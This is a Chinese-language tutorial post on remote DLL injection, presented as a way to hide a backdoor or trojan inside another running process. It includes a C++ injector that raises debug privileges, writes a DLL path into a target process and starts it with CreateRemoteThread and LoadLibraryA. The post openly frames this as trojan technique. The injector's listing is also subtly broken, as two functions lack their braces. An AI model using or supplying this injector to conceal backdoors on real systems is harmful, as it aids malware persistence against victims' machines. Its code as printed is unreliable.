遠端注入DLL
沒錯,現在讨論的就是傳說中的遠端注入技術,目前一種非常流行的隐藏技術,因為它沒有程序,是通過遠端插入線程調用DLL檔案實作的!在這裡先說一下.dll檔案,.dll檔案,其實就是動态連接配接庫,它裡面裝封了提供.exe檔案調用的函數,一般情況下,輕按兩下它,是不能運作它的,它隻能由.exe來調用,于是就有了遠端注入了,原理很簡單:我們把後門的主要功能寫成一個函數,然後裝封到.dl檔案中,然後再另外寫一個執行檔案來啟動它,這樣就不會有後門的程序了。那遠端注入又指什麼呢?這個問題問得好,一般情況下,每個程序都有自己的私有空間,理論上,别的程序是不允許對這個私人空間進行操作的,但是,我們可以利用一些方法進入這個空間并進行操作,将自己的代碼寫入正在運作的程序中,于是就有了遠端注入了。
對dll後門的編寫就不作過多的讨論了,現在來看實作注入功能的可執行檔案的編寫:
用到的函數有:
OpenProcessToken();
LookupPrivilegeValue();
AdjustTokenPrivileges();
OpenProcess();
VirtualAllocEx();
WriteProcessMemory();
GetProcAddress();
CreateRemoteThread();
先簡單的介紹以下這些函數的作用,因為我們要操作的是系統中的其他程序,如果沒有足夠的系統權限,我們是無法寫入甚至連讀取其它程序的記憶體位址的,是以我們就需要提升自己的權限,用到以下3個函數
OpenProcessToken(); //打開程序令牌
LookupPrivilegeValue(); //傳回一個本地系統獨一無二的ID,用于系統權限更改
AdjustTokenPrivileges(); //從英文意思也能看出它是更改程序權限用的吧?
進入宿主程序的記憶體空間
在擁有了進入宿主程序空間的權限之後,我們就需要在其記憶體加入讓它加載我們後門的代碼了,用LoadLibraryA()函數就可以加載我們的DLL了,它隻需要DLL檔案的路徑就可以了,在這裡我們要把DLL檔案的路徑寫入到宿主的記憶體空間裡,因為DLL的檔案路徑并不存在于宿主程序記憶體空間了,用到的函數有:
OpenProcess();//用于修改宿主程序的一些屬性,詳細參看MSDN
VirtualAllocEx();//用于在宿主記憶體空間中申請記憶體空間以寫入DLL的檔案名
WriteProcessMemory();//往申請到的空間中寫入DLL的檔案名
在宿主中啟動新的線程
用的是LoadLibraryA()函數來加載,但在使用LoadLibraryA()之前必須知道它的入口位址,是以用GetProcAdress來獲得它的入口位址,有了它的位址以後,就可以用CreateRemoteThread()函數來啟動新的線程了,到次,整個注入過程完成,不過還不非常完善,這就留給聰明的你來完成了;)。
簡單的例子:
#include <windows.h>
#include <iostream.h>
int EnableDebugPriv(const char * name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
//打開程序令牌環
OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
&hToken);
//獲得程序本地唯一ID
LookupPrivilegeValue(NULL,name,&luid) ;
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
//調整權限
AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
return 0;
}
//*****************************************************************************************************************************
BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
HANDLE hRemoteProcess;
EnableDebugPriv(SE_DEBUG_NAME);
//打開遠端線程
hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );
char *pszLibFileRemote;
//使用VirtualAllocEx函數在遠端程序的記憶體位址空間配置設定DLL檔案名空間
pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1,
MEM_COMMIT, PAGE_READWRITE);
//使用WriteProcessMemory函數将DLL的路徑名寫入到遠端程序的記憶體空間
WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);
//##############################################################################
//計算LoadLibraryA的入口位址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
//啟動遠端線程LoadLibraryA,通過遠端線程調用建立新的線程
HANDLE hRemoteThread;
if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL)
{
cout<<"注入線程失敗!"<<endl;
return FALSE;
}
/*

// 在//###.....//###裡的語句也可以用如下的語句代替:
DWORD dwID;
LPVOID pFunc = LoadLibraryA;
HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );
//是不是感覺簡單了很多
*/

// 釋放句柄
CloseHandle(hRemoteProcess);
CloseHandle(hRemoteThread);
return TRUE;
int main()
InjectDll("c:\\zrqfzr.dll",3060) ;//這個數字是你想注入的程序的ID号
此程式在VC6.0裡編譯通過!哈哈學會了嗎?在NT系列作業系統中,EnableDebugPriv函數實作的部分可以去掉的。要研究木馬這個技術可是基礎。
<a target="_blank" href="http://hi.baidu.com/fpsixkukaiadmwr/item/19c1b1794a418647ee1e5339">http://hi.baidu.com/fpsixkukaiadmwr/item/19c1b1794a418647ee1e5339</a>